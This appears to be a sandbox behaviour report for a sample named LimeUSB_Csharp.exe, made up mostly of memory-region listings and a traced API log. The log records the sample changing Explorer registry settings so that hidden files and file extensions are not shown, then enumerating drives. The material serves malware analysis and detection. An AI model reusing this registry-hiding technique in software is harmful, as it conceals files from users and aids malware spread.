"\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 2152 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 2153 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 2154 start_va = 0x7fe919b0000 end_va = 0x7fe91a2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe919b0000" filename = "" Region: id = 2155 start_va = 0x7fefd800000 end_va = 0x7fefda02fff monitored = 0 entry_point = 0x7fefd823330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2156 start_va = 0x320000 end_va = 0x39cfff monitored = 0 entry_point = 0x32cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2157 start_va = 0x320000 end_va = 0x39cfff monitored = 0 entry_point = 0x32cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2158 start_va = 0x7fefd2a0000 end_va = 0x7fefd2aefff monitored = 0 entry_point = 0x7fefd2a1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2165 start_va = 0x7fef8e70000 end_va = 0x7fef8e72fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 2166 start_va = 0x7fef3140000 end_va = 0x7fef328efff monitored = 1 entry_point = 0x7fef3141090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 2167 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 2184 start_va = 0x1b730000 end_va = 0x1b89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b730000" filename = "" Region: id = 2227 start_va = 0x7fe91a30000 end_va = 0x7fe91a3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91a30000" filename = "" Region: id = 2228 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 2258 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 2307 start_va = 0x7feeec70000 end_va = 0x7feef8defff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 2313 start_va = 0x7fef2f40000 end_va = 0x7fef3134fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 2316 start_va = 0x7feedbc0000 end_va = 0x7feeec65fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 2327 start_va = 0x2c0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 2328 start_va = 0x310000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 2329 start_va = 0x2d0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 2330 start_va = 0x2e0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 2336 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 2397 start_va = 0x7fef8dd0000 end_va = 0x7fef8de5fff monitored = 1 entry_point = 0x7fef8dde5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 2398 start_va = 0x1b8a0000 end_va = 0x1bb71fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Thread: id = 29 os_tid = 0x9bc [0086.248] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0103.353] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", ulOptions=0x0, samDesired=0x2001f, phkResult=0x24e9c8 | out: phkResult=0x24e9c8*=0x1c4) returned 0x0 [0103.357] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x24ea18, lpData=0x0, lpcbData=0x24ea10*=0x0 | out: lpType=0x24ea18*=0x4, lpData=0x0, lpcbData=0x24ea10*=0x4) returned 0x0 [0103.358] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x24ea18, lpData=0x24e9f8, lpcbData=0x24ea10*=0x4 | out: lpType=0x24ea18*=0x4, lpData=0x24e9f8*=0x2, lpcbData=0x24ea10*=0x4) returned 0x0 [0104.198] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x24e9d8, lpData=0x0, lpcbData=0x24e9d0*=0x0 | out: lpType=0x24e9d8*=0x4, lpData=0x0, lpcbData=0x24e9d0*=0x4) returned 0x0 [0104.693] RegSetValueExW (in: hKey=0x1c4, lpValueName="Hidden", Reserved=0x0, dwType=0x4, lpData=0x24ea48*=0x2, cbData=0x4 | out: lpData=0x24ea48*=0x2) returned 0x0 [0104.693] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x24ea18, lpData=0x0, lpcbData=0x24ea10*=0x0 | out: lpType=0x24ea18*=0x4, lpData=0x0, lpcbData=0x24ea10*=0x4) returned 0x0 [0104.693] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x24ea18, lpData=0x24e9f8, lpcbData=0x24ea10*=0x4 | out: lpType=0x24ea18*=0x4, lpData=0x24e9f8*=0x1, lpcbData=0x24ea10*=0x4) returned 0x0 [0104.693] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x24e9d8, lpData=0x0, lpcbData=0x24e9d0*=0x0 | out: lpType=0x24e9d8*=0x4, lpData=0x0, lpcbData=0x24e9d0*=0x4) returned 0x0 [0104.694] RegSetValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", Reserved=0x0, dwType=0x4, lpData=0x24ea48*=0x1, cbData=0x4 | out: lpData=0x24ea48*=0x1) returned 0x0 [0104.927] GetLogicalDrives () returned 0x4 [0105.318] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d958 | out: phkResult=0x24d958*=0x0) returned 0x2 [0105.319] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0105.541] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x24e3b0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0105.755] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0105.756] CoGetContextToken (in: pToken=0x24f860 | out: pToken=0x24f860) returned 0x0 [0105.757] CObjectContext::QueryInterface () returned 0x0 [0105.757] CObjectContext::GetCurrentThreadType () returned 0x0 [0105.757] Release () returned 0x0 [0105.758] CoGetContextToken (in: pToken=0x24f300 | out: pToken=0x24f300) returned 0x0 [0105.758] CObjectContext::QueryInterface () returned 0x0 [0105.758] CObjectContext::GetCurrentThreadType () returned 0x0 [0105.758] Release () returned 0x0 [0105.758] CoGetContextToken (in: pToken=0x24f300 | out: pToken=0x24f300) returned 0x0 [0105.758] CObjectContext::QueryInterface () returned 0x0 [0105.758] CObjectContext::GetCurrentThreadType () returned 0x0 [0105.758] Release () returned 0x0 [0105.762] CoGetContextToken (in: pToken=0x24f300 | out: pToken=0x24f300) returned 0x0 [0105.762] CObjectContext::QueryInterface () returned 0x0 [0105.762] CObjectContext::GetCurrentThreadType () returned 0x0 [0105.762] Release () returned 0x0 [0105.764] CoGetContextToken (in: pToken=0x24f320 | out: pToken=0x24f320) returned 0x0 [0105.764] CObjectContext::QueryInterface () returned 0x0 [0105.764] CObjectContext::GetCurrentThreadType () returned 0x0 [0105.764] Release () returned 0x0 [0105.911] CoUninitialize () Thread: id = 30 os_tid = 0xbd8 Thread: id = 31 os_tid = 0x8ec [0087.832] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0105.760] RegCloseKey (hKey=0x1c4) returned 0x0 [0105.760] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 Thread: id = 32 os_tid = 0x21c Process: id = "12" image_name = "limeusb_csharp.exe" filename = "c:\\users\\public\\documents\\limeusb_csharp.exe" page_root = "0x341a7000" os_pid = "0x5f4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x934" cmd_line = "\"C:\\Users\\Public\\Documents\\LimeUSB_Csharp.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f5e4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2204 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2205 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2206 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2207 start_va = 0x150000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 2208 start_va = 0x3b0000 end_va = 0xe73fff monitored = 1 entry_point = 0xe6e3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 2209 start_va = 0x77460000 end_va = 0x77608fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2210 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2211 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2212 start_va = 0x7fff6000 end_va = 0x7fff6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff6000" filename = "" Region: id = 2213 start_va = 0x7feff780000 end_va = 0x7feff780fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2214 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2215 start_va = 0x7fffffd8000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2216 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2217 start_va = 0xe80000 end_va = 0x106ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e80000" filename = "" Region: id = 2218 start_va = 0x7fef8d10000 end_va = 0x7fef8d7efff monitored = 1 entry_point = 0x7fef8d11134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 2219 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2220 start_va = 0x7fefd520000 end_va = 0x7fefd58bfff monitored = 0 entry_point = 0x7fefd522780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2221 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2222 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2223 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2224 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2225 start_va = 0xc0000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2226 start_va = 0x250000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 2229 start_va = 0x1070000 end_va = 0x126ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001070000" filename = "" Region: id = 2230 start_va = 0x7fefe2f0000 end_va = 0x7fefe3cafff monitored = 0 entry_point = 0x7fefe310760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2231 start_va = 0x7fefdc20000 end_va = 0x7fefdcbefff monitored = 0 entry_point = 0x7fefdc225a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2232 start_va = 0x7fefe8e0000 end_va = 0x7fefe8fefff monitored = 0 entry_point = 0x7fefe8e60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2233 start_va = 0x7fefe0c0000 end_va = 0x7fefe1ecfff monitored = 0 entry_point = 0x7fefe10ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2234 start_va = 0x1270000 end_va = 0x13fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001270000" filename = "" Region: id = 2235 start_va = 0xe80000 end_va = 0xf7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e80000" filename = "" Region: id = 2236 start_va = 0xff0000 end_va = 0x106ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ff0000" filename = "" Region: id = 2237 start_va = 0x7fef3c20000 end_va = 0x7fef3cc8fff monitored = 1 entry_point = 0x7fef3c21010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 2238 start_va = 0x7fefac50000 end_va = 0x7fefac52fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 2239 start_va = 0x7fefe960000 end_va = 0x7fefe9d0fff monitored = 0 entry_point = 0x7fefe971e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2240 start_va = 0x7fefd780000 end_va = 0x7fefd7e6fff monitored = 0 entry_point = 0x7fefd78b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2241 start_va = 0x77240000 end_va = 0x77339fff monitored = 0 entry_point = 0x7725a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2242 start_va = 0x7fefd7f0000 end_va = 0x7fefd7fdfff monitored = 0 entry_point = 0x7fefd7f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2243 start_va = 0x7fefdcc0000 end_va = 0x7fefdd88fff monitored = 0 entry_point = 0x7fefdd3a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2244 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2245 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 2246 start_va = 0x1400000 end_va = 0x1587fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001400000" filename = "" Region: id = 2247 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2248 start_va = 0x7fefdbf0000 end_va = 0x7fefdc1dfff monitored = 0 entry_point = 0x7fefdbf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2249 start_va = 0x7fefdfb0000 end_va = 0x7fefe0b8fff monitored = 0 entry_point = 0x7fefdfb1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2250 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2251 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2252 start_va = 0x1590000 end_va = 0x1710fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001590000" filename = "" Region: id = 2253 start_va = 0x1720000 end_va = 0x2b1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001720000" filename = "" Region: id = 2254 start_va = 0x2b20000 end_va = 0x35dcfff monitored = 1 entry_point = 0x35de3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 2255 start_va = 0x2b20000 end_va = 0x35dcfff monitored = 1 entry_point = 0x35de3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 2256 start_va = 0x7fefc570000 end_va = 0x7fefc57bfff monitored = 0 entry_point = 0x7fefc571064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2257 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 2259 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 2260 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 2261 start_va = 0x7fefb320000 end_va = 0x7fefb335fff monitored = 0 entry_point = 0x7fefb32c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 2262 start_va = 0x7fef3760000 end_va = 0x7fef381cfff monitored = 0 entry_point = 0x7fef37e7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 2264 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 2265 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 2266 start_va = 0xf0000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 2267 start_va = 0x7fe91860000 end_va = 0x7fe9186ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91860000" filename = "" Region: id = 2268 start_va = 0x7fe91870000 end_va = 0x7fe9187ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91870000" filename = "" Region: id = 2269 start_va = 0x7fe91880000 end_va = 0x7fe9190ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91880000" filename = "" Region: id = 2270 start_va = 0x7fe91910000 end_va = 0x7fe9197ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91910000" filename = "" Region: id = 2271 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2272 start_va = 0x110000 end_va = 0x110fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 2273 start_va = 0x1070000 end_va = 0x113ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001070000" filename = "" Region: id = 2274 start_va = 0x11f0000 end_va = 0x126ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011f0000" filename = "" Region: id = 2275 start_va = 0x1140000 end_va = 0x11cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001140000" filename = "" Region: id = 2276 start_va = 0x2b30000 end_va = 0x2c2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b30000" filename = "" Region: id = 2277 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2278 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 2279 start_va = 0x2c30000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c30000" filename = "" Region: id = 2280 start_va = 0x1ac30000 end_va = 0x1afaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac30000" filename = "" Region: id = 2281 start_va = 0x1270000 end_va = 0x1370fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001270000" filename = "" Region: id = 2282 start_va = 0x13f0000 end_va = 0x13fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013f0000" filename = "" Region: id = 2283 start_va = 0x1afb0000 end_va = 0x1b0affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001afb0000" filename = "" Region: id = 2284 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2285 start_va = 0x1b110000 end_va = 0x1b20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 2286 start_va = 0x1b210000 end_va = 0x1b30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b210000" filename = "" Region: id = 2287 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2294 start_va = 0x1b310000 end_va = 0x1b5defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2295 start_va = 0x7feef8e0000 end_va = 0x7fef0edcfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 2296 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 2297 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 2298 start_va = 0x7fe91980000 end_va = 0x7fe919fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91980000" filename = "" Region: id = 2299 start_va = 0x7fefd800000 end_va = 0x7fefda02fff monitored = 0 entry_point = 0x7fefd823330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2300 start_va = 0x1b5e0000 end_va = 0x1b65cfff monitored = 0 entry_point = 0x1b5ecec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2301 start_va = 0x1b5e0000 end_va = 0x1b65cfff monitored = 0 entry_point = 0x1b5ecec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2302 start_va = 0x7fefd2a0000 end_va = 0x7fefd2aefff monitored = 0 entry_point = 0x7fefd2a1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2303 start_va = 0x7fef8e70000 end_va = 0x7fef8e72fff monitored = 0 